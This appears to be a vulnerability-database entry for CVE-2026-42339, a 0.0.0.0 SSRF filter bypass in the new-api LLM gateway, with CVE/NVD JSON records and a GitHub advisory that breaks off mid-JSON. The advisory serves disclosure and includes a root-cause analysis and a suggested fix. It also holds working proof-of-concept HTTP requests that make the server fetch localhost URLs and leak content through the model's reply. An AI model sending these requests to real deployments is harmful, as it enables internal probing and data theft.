CVE-2026-42339 (GCVE-0-2026-42339)

Vulnerability from cvelistv5 – Published: 2026-05-08 22:21 – Updated: 2026-05-11 15:56

Title

New API: SSRF Filter Bypass via 0.0.0.0

Summary

New API is a large language mode (LLM) gateway and artificial intelligence (AI) asset management system. In versions 0.11.9-alpha.1 and prior, the SSRF protection introduced in v0.9.0.5 (CVE-2025-59146) and hardened in v0.9.6 (CVE-2025-62155) does not block the unspecified address 0.0.0.0. A regular (non-admin) user holding any valid API token can send a multimodal request to /v1/chat/completions, /v1/responses, or /v1/messages with 0.0.0.0 as the image/file URL host, bypassing the private-IP filter and causing the server to issue HTTP requests to localhost. This constitutes at minimum a blind SSRF; when the request is routed through an AWS/Bedrock Claude adaptor, the fetched content is inlined into the model response, upgrading it to a full-read SSRF. At time of publication, there are no publicly available patches.

Severity

7.1 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-05-11 15:56 UTC

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7761 records in the last 180 days details

References

1 reference

URL	Tags
https://github.com/QuantumNous/new-api/security/a…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version	CPE status
QuantumNous	new-api	Affected: <= 0.11.9-alpha.1	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-42339",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-11T15:56:42.403641Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-11T15:56:48.213Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/QuantumNous/new-api/security/advisories/GHSA-v5c3-6wvc-pc2q"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "new-api",
          "vendor": "QuantumNous",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 0.11.9-alpha.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "New API is a large language mode (LLM) gateway and artificial intelligence (AI) asset management system. In versions 0.11.9-alpha.1 and prior, the SSRF protection introduced in v0.9.0.5 (CVE-2025-59146) and hardened in v0.9.6 (CVE-2025-62155) does not block the unspecified address 0.0.0.0. A regular (non-admin) user holding any valid API token can send a multimodal request to /v1/chat/completions, /v1/responses, or /v1/messages with 0.0.0.0 as the image/file URL host, bypassing the private-IP filter and causing the server to issue HTTP requests to localhost. This constitutes at minimum a blind SSRF; when the request is routed through an AWS/Bedrock Claude adaptor, the fetched content is inlined into the model response, upgrading it to a full-read SSRF. At time of publication, there are no publicly available patches."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "LOW",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-918",
              "description": "CWE-918: Server-Side Request Forgery (SSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-08T22:21:53.902Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/QuantumNous/new-api/security/advisories/GHSA-v5c3-6wvc-pc2q",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/QuantumNous/new-api/security/advisories/GHSA-v5c3-6wvc-pc2q"
        }
      ],
      "source": {
        "advisory": "GHSA-v5c3-6wvc-pc2q",
        "discovery": "UNKNOWN"
      },
      "title": "New API: SSRF Filter Bypass via 0.0.0.0"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-42339",
    "datePublished": "2026-05-08T22:21:53.902Z",
    "dateReserved": "2026-04-26T13:26:14.514Z",
    "dateUpdated": "2026-05-11T15:56:48.213Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-42339",
      "date": "2026-10-23",
      "epss": "0.00296",
      "percentile": "0.21113"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "new-api",
                "vendor": "QuantumNous",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c= 0.11.9-alpha.1"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "configurations": [
          {
            "nodes": [
              {
                "cpeMatch": [
                  {
                    "criteria": "cpe:2.3:a:newapi:new_api:*:*:*:*:*:*:*:*",
                    "matchCriteriaId": "1D4C8B72-8B91-4117-AAFB-E176BE2015CD",
                    "versionEndExcluding": "0.11.9",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:newapi:new_api:0.11.9:alpha1:*:*:*:*:*:*",
                    "matchCriteriaId": "33AF3DD3-4364-45D6-A2EB-775B5AAB406B",
                    "vulnerable": true
                  }
                ],
                "negate": false,
                "operator": "OR"
              }
            ]
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "New API is a large language mode (LLM) gateway and artificial intelligence (AI) asset management system. In versions 0.11.9-alpha.1 and prior, the SSRF protection introduced in v0.9.0.5 (CVE-2025-59146) and hardened in v0.9.6 (CVE-2025-62155) does not block the unspecified address 0.0.0.0. A regular (non-admin) user holding any valid API token can send a multimodal request to /v1/chat/completions, /v1/responses, or /v1/messages with 0.0.0.0 as the image/file URL host, bypassing the private-IP filter and causing the server to issue HTTP requests to localhost. This constitutes at minimum a blind SSRF; when the request is routed through an AWS/Bedrock Claude adaptor, the fetched content is inlined into the model response, upgrading it to a full-read SSRF. At time of publication, there are no publicly available patches."
          },
          {
            "lang": "es",
            "value": "Nueva API es una pasarela de modelo de lenguaje grande (LLM) y un sistema de gesti\u00f3n de activos de inteligencia artificial (IA). En las versiones 0.11.9-alpha.1 y anteriores, la protecci\u00f3n SSRF introducida en la v0.9.0.5 (CVE-2025-59146) y reforzada en la v0.9.6 (CVE-2025-62155) no bloquea la direcci\u00f3n no especificada 0.0.0.0. Un usuario regular (no administrador) que posea cualquier token de API v\u00e1lido puede enviar una solicitud multimodal a /v1/chat/completions, /v1/responses o /v1/messages con 0.0.0.0 como host de la URL de imagen/archivo, eludiendo el filtro de IP privada y haciendo que el servidor emita solicitudes HTTP a localhost. Esto constituye, como m\u00ednimo, un SSRF ciego; cuando la solicitud se enruta a trav\u00e9s de un adaptador AWS/Bedrock Claude, el contenido recuperado se inserta en l\u00ednea en la respuesta del modelo, elev\u00e1ndolo a un SSRF de lectura completa. En el momento de la publicaci\u00f3n, no hay parches disponibles p\u00fablicamente."
          }
        ],
        "id": "CVE-2026-42339",
        "lastModified": "2026-07-24T21:10:00.143",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 7.1,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "LOW",
                "integrityImpact": "HIGH",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 4.2,
              "source": "nvd@nist.gov",
              "type": "Primary"
            }
          ],
          "cvssMetricV40": [
            {
              "cvssData": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "availabilityRequirement": "NOT_DEFINED",
                "baseScore": 7.1,
                "baseSeverity": "HIGH",
                "confidentialityRequirement": "NOT_DEFINED",
                "exploitMaturity": "NOT_DEFINED",
                "integrityRequirement": "NOT_DEFINED",
                "modifiedAttackComplexity": "NOT_DEFINED",
                "modifiedAttackRequirements": "NOT_DEFINED",
                "modifiedAttackVector": "NOT_DEFINED",
                "modifiedPrivilegesRequired": "NOT_DEFINED",
                "modifiedSubAvailabilityImpact": "NOT_DEFINED",
                "modifiedSubConfidentialityImpact": "NOT_DEFINED",
                "modifiedSubIntegrityImpact": "NOT_DEFINED",
                "modifiedUserInteraction": "NOT_DEFINED",
                "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
                "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
                "modifiedVulnIntegrityImpact": "NOT_DEFINED",
                "privilegesRequired": "LOW",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "LOW",
                "vulnIntegrityImpact": "HIGH",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-42339",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "yes"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-11T15:56:42.403641Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-05-08T23:16:36.917",
        "references": [
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Exploit",
              "Mitigation",
              "Vendor Advisory"
            ],
            "url": "https://github.com/QuantumNous/new-api/security/advisories/GHSA-v5c3-6wvc-pc2q"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "tags": [
              "Exploit",
              "Mitigation",
              "Vendor Advisory"
            ],
            "url": "https://github.com/QuantumNous/new-api/security/advisories/GHSA-v5c3-6wvc-pc2q"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Analyzed",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-918"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "redhat_vex": {
      "current_release_date": "2026-05-11T20:25:49+00:00",
      "cve": "CVE-2026-42339",
      "id": "CVE-2026-42339",
      "initial_release_date": "2026-01-01T00:00:00+00:00",
      "product_status:known_not_affected": "1",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "New API: SSRF Filter Bypass via 0.0.0.0",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42339.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-42339",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "yes"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-05-11T15:56:42.403641Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-05-11T15:56:34.506Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/QuantumNous/new-api/security/advisories/GHSA-v5c3-6wvc-pc2q"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "new-api",
              "vendor": "QuantumNous",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c= 0.11.9-alpha.1"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "New API is a large language mode (LLM) gateway and artificial intelligence (AI) asset management system. In versions 0.11.9-alpha.1 and prior, the SSRF protection introduced in v0.9.0.5 (CVE-2025-59146) and hardened in v0.9.6 (CVE-2025-62155) does not block the unspecified address 0.0.0.0. A regular (non-admin) user holding any valid API token can send a multimodal request to /v1/chat/completions, /v1/responses, or /v1/messages with 0.0.0.0 as the image/file URL host, bypassing the private-IP filter and causing the server to issue HTTP requests to localhost. This constitutes at minimum a blind SSRF; when the request is routed through an AWS/Bedrock Claude adaptor, the fetched content is inlined into the model response, upgrading it to a full-read SSRF. At time of publication, there are no publicly available patches."
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "baseScore": 7.1,
                "baseSeverity": "HIGH",
                "privilegesRequired": "LOW",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "LOW",
                "vulnIntegrityImpact": "HIGH"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-918",
                  "description": "CWE-918: Server-Side Request Forgery (SSRF)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-05-08T22:21:53.902Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/QuantumNous/new-api/security/advisories/GHSA-v5c3-6wvc-pc2q",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/QuantumNous/new-api/security/advisories/GHSA-v5c3-6wvc-pc2q"
            }
          ],
          "source": {
            "advisory": "GHSA-v5c3-6wvc-pc2q",
            "discovery": "UNKNOWN"
          },
          "title": "New API: SSRF Filter Bypass via 0.0.0.0"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-42339",
        "datePublished": "2026-05-08T22:21:53.902Z",
        "dateReserved": "2026-04-26T13:26:14.514Z",
        "dateUpdated": "2026-05-11T15:56:48.213Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-42339

Vulnerability from fkie_nvd - Published: 2026-05-08 23:16 - Updated: 2026-07-24 21:10

Severity

7.1 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/QuantumNous/new-api/security/advisories/GHSA-v5c3-6wvc-pc2q	Exploit, Mitigation, Vendor Advisory
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/QuantumNous/new-api/security/advisories/GHSA-v5c3-6wvc-pc2q	Exploit, Mitigation, Vendor Advisory

Impacted products

	Vendor	Product	Version
	newapi	new_api	*
	newapi	new_api	0.11.9

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "new-api",
          "vendor": "QuantumNous",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 0.11.9-alpha.1"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:newapi:new_api:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "1D4C8B72-8B91-4117-AAFB-E176BE2015CD",
              "versionEndExcluding": "0.11.9",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:newapi:new_api:0.11.9:alpha1:*:*:*:*:*:*",
              "matchCriteriaId": "33AF3DD3-4364-45D6-A2EB-775B5AAB406B",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "New API is a large language mode (LLM) gateway and artificial intelligence (AI) asset management system. In versions 0.11.9-alpha.1 and prior, the SSRF protection introduced in v0.9.0.5 (CVE-2025-59146) and hardened in v0.9.6 (CVE-2025-62155) does not block the unspecified address 0.0.0.0. A regular (non-admin) user holding any valid API token can send a multimodal request to /v1/chat/completions, /v1/responses, or /v1/messages with 0.0.0.0 as the image/file URL host, bypassing the private-IP filter and causing the server to issue HTTP requests to localhost. This constitutes at minimum a blind SSRF; when the request is routed through an AWS/Bedrock Claude adaptor, the fetched content is inlined into the model response, upgrading it to a full-read SSRF. At time of publication, there are no publicly available patches."
    },
    {
      "lang": "es",
      "value": "Nueva API es una pasarela de modelo de lenguaje grande (LLM) y un sistema de gesti\u00f3n de activos de inteligencia artificial (IA). En las versiones 0.11.9-alpha.1 y anteriores, la protecci\u00f3n SSRF introducida en la v0.9.0.5 (CVE-2025-59146) y reforzada en la v0.9.6 (CVE-2025-62155) no bloquea la direcci\u00f3n no especificada 0.0.0.0. Un usuario regular (no administrador) que posea cualquier token de API v\u00e1lido puede enviar una solicitud multimodal a /v1/chat/completions, /v1/responses o /v1/messages con 0.0.0.0 como host de la URL de imagen/archivo, eludiendo el filtro de IP privada y haciendo que el servidor emita solicitudes HTTP a localhost. Esto constituye, como m\u00ednimo, un SSRF ciego; cuando la solicitud se enruta a trav\u00e9s de un adaptador AWS/Bedrock Claude, el contenido recuperado se inserta en l\u00ednea en la respuesta del modelo, elev\u00e1ndolo a un SSRF de lectura completa. En el momento de la publicaci\u00f3n, no hay parches disponibles p\u00fablicamente."
    }
  ],
  "id": "CVE-2026-42339",
  "lastModified": "2026-07-24T21:10:00.143",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "LOW",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 4.2,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 7.1,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "LOW",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "LOW",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-42339",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-05-11T15:56:42.403641Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-05-08T23:16:36.917",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/QuantumNous/new-api/security/advisories/GHSA-v5c3-6wvc-pc2q"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/QuantumNous/new-api/security/advisories/GHSA-v5c3-6wvc-pc2q"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-V5C3-6WVC-PC2Q

Vulnerability from github – Published: 2026-05-06 17:23 – Updated: 2026-05-13 13:38

Summary

QuantumNous/new-api has an SSRF Filter Bypass via 0.0.0.0

Details

SSRF Filter Bypass via `0.0.0.0`

Summary

The SSRF protection introduced in v0.9.0.5 (CVE-2025-59146) and hardened in v0.9.6 (CVE-2025-62155) does not block the unspecified address 0.0.0.0. A regular (non-admin) user holding any valid API token can send a multimodal request to /v1/chat/completions, /v1/responses, or /v1/messages with 0.0.0.0 as the image/file URL host, bypassing the private-IP filter and causing the server to issue HTTP requests to localhost. This constitutes at minimum a blind SSRF; when the request is routed through an AWS/Bedrock Claude adaptor, the fetched content is inlined into the model response, upgrading it to a full-read SSRF.

Details

Root Cause

common/ssrf_protection.go — isPrivateIP() (lines 33–47) checks the following ranges:

10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
127.0.0.0/8
169.254.0.0/16
224.0.0.0/4
240.0.0.0/4

0.0.0.0/8 is not checked. On Linux, 0.0.0.0 resolves to the local machine, same as 127.0.0.1.

Default Fetch Settings

setting/system_setting/fetch_setting.go (lines 16–24) defaults:

EnableSSRFProtection: true
AllowPrivateIp: false
AllowedPorts: ["80", "443", "8080", "8443"]
ApplyIPFilterForDomain: true

So 0.0.0.0 on any of these four ports passes all checks.

Data Flow (primary chain — `/v1/chat/completions`)

User API token
→ /v1/chat/completions  (TokenAuth, no admin required)
→ messages[].content[].image_url.url = "http://0.0.0.0:8080/..."
→ dto/openai_request.go:111-117   createFileSource() recognises http(s):// as URL source
→ dto/openai_request.go:119-198   GetTokenCountMeta() collects image_url.url / file.file_data / video_url
→ service/token_counter.go:237-264 LoadFileSource() fetches URL when shouldFetchFiles == true
→ service/file_service.go:135-143  loadFromURL() → DoDownloadRequest()
→ service/download.go:52-68       ValidateURLWithFetchSetting() → 0.0.0.0 NOT blocked → GetHttpClient().Get()
→ Server issues real TCP connection to 0.0.0.0

Note on stream requirement: common/init.go (lines 140–141) defaults GET_MEDIA_TOKEN=true but GET_MEDIA_TOKEN_NOT_STREAM=false, so stream: true is needed to trigger the fetch path.

Additional Affected Endpoints

The same ValidateURLWithFetchSetting() → DoDownloadRequest() sink is reachable from:

Endpoint	User-controlled field	Auth required
`/v1/chat/completions`	`image_url.url`, `file.file_data`, `video_url`	Regular user token
`/v1/responses`	`input_file.file_url`, `input_image.image_url`	Regular user token
`/v1/messages`	`source.url` (type: `"url"`)	Regular user token
`/api/user/setting`	`webhook_url`, `bark_url`, `gotify_url`	Regular user (self)

Upgrade to Full-Read SSRF (conditional)

relay/channel/aws/adaptor.go (lines 41–61) — ConvertClaudeRequest():

If the request is routed to an AWS/Bedrock Claude channel, the adaptor iterates over message content
When source.type == "url", it calls service.GetBase64Data() which invokes the same DoDownloadRequest() path
The fetched content is rewritten to type: "base64" and inlined into the model request
The model then describes/transcribes the content in its response

This means an attacker can read the actual content of internal resources (images, PDFs, text) through the model's output, not just detect open/closed ports.

Proof of Concept

Prerequisites: A regular user account with a valid API token. No admin privileges required.

Step 1 — Control group: 127.0.0.1 is blocked

POST /v1/chat/completions HTTP/1.1
Host: <redacted>
Authorization: Bearer sk-<user-token>
Content-Type: application/json

{
  "model": "gpt-4o-mini",
  "stream": true,
  "max_tokens": 1,
  "messages": [
    {
      "role": "user",
      "content": [
        {"type": "text", "text": "describe"},
        {
          "type": "image_url",
          "image_url": {
            "url": "http://127.0.0.1:8080/probe.png",
            "detail": "low"
          }
        }
      ]
    }
  ]
}

Response:

private IP address not allowed: 127.0.0.1

Step 2 — Experiment group: 0.0.0.0 bypasses the filter

POST /v1/chat/completions HTTP/1.1
Host: <redacted>
Authorization: Bearer sk-<user-token>
Content-Type: application/json

{
  "model": "gpt-4o-mini",
  "stream": true,
  "max_tokens": 1,
  "messages": [
    {
      "role": "user",
      "content": [
        {"type": "text", "text": "describe"},
        {
          "type": "image_url",
          "image_url": {
            "url": "http://0.0.0.0:8080/probe.png",
            "detail": "low"
          }
        }
      ]
    }
  ]
}

Response:

dial tcp 0.0.0.0:8080: connect: connection refused

The server attempted a real TCP connection — the SSRF filter was bypassed.

Step 3 — Confirm readback capability via multimodal model

POST /v1/chat/completions HTTP/1.1
Host: <redacted>
Authorization: Bearer sk-<user-token>
Content-Type: application/json

{
  "model": "claude-3-5-sonnet-latest",
  "stream": false,
  "max_tokens": 32,
  "messages": [
    {
      "role": "user",
      "content": [
        {
          "type": "text",
          "text": "Transcribe exactly the text in the image. Output only the text."
        },
        {
          "type": "image_url",
          "image_url": {
            "url": "https://dummyimage.com/600x180/111/fff.png&text=READBACK-OK-314159",
            "detail": "low"
          }
        }
      ]
    }
  ]
}

Response:

{"choices":[{"message":{"content":"READBACK-OK-314159"}}]}

This confirms that when the fetch target returns readable content (image/PDF/text), the model's response leaks that content to the attacker. Combining Step 2 and Step 3: if an internal service on 0.0.0.0:<allowed-port> returns image or document content, an attacker can exfiltrate it.

Impact

An authenticated regular user (no admin privileges) can:

Probe localhost and internal services — Determine open/closed ports on the server by observing connection refused vs timeout vs HTTP-level errors. Default allowed ports are 80, 443, 8080, and 8443.
Exfiltrate internal content — When the request routes through a multimodal model (especially AWS/Bedrock Claude), the server fetches the resource and the model returns its content (OCR for images, summarization for PDFs/text).
Bypass all previous SSRF mitigations — This is a direct bypass of the isPrivateIP() check. No redirect chain, no DNS rebinding, no race condition required — just replacing 127.0.0.1 with 0.0.0.0.

Since user registration is often enabled by default, any registered user can exploit this.

Suggested Fix

Add 0.0.0.0/8 to the deny list in isPrivateIP() (common/ssrf_protection.go)
Audit against the full [IANA IPv4 Special-Purpose Address Registry](https://www.iana.org/assignments/iana-ipv4-special-registry/) — also ensure coverage for:
0.0.0.0/8 ("This network")
100.64.0.0/10 (Carrier-grade NAT)
198.18.0.0/15 (Benchmarking)
IPv6 equivalents: ::1, ::, [::], fe80::/10
Apply the same IP validation to post-redirect targets (already partially addressed in service/http_client.go:24-33, but does not help when the initial address itself bypasses the filter)

Resources

CVE-2025-59146 (GHSA-xxv6-m6fx-vfhh): Original authenticated SSRF, patched in v0.9.0.5
CVE-2025-62155 (GHSA-9f46-w24h-69w4): 302 redirect bypass of the SSRF fix, patched in v0.9.6

Severity

7.1 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/QuantumNous/new-api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.11.9-alpha.1"
            }
          ],
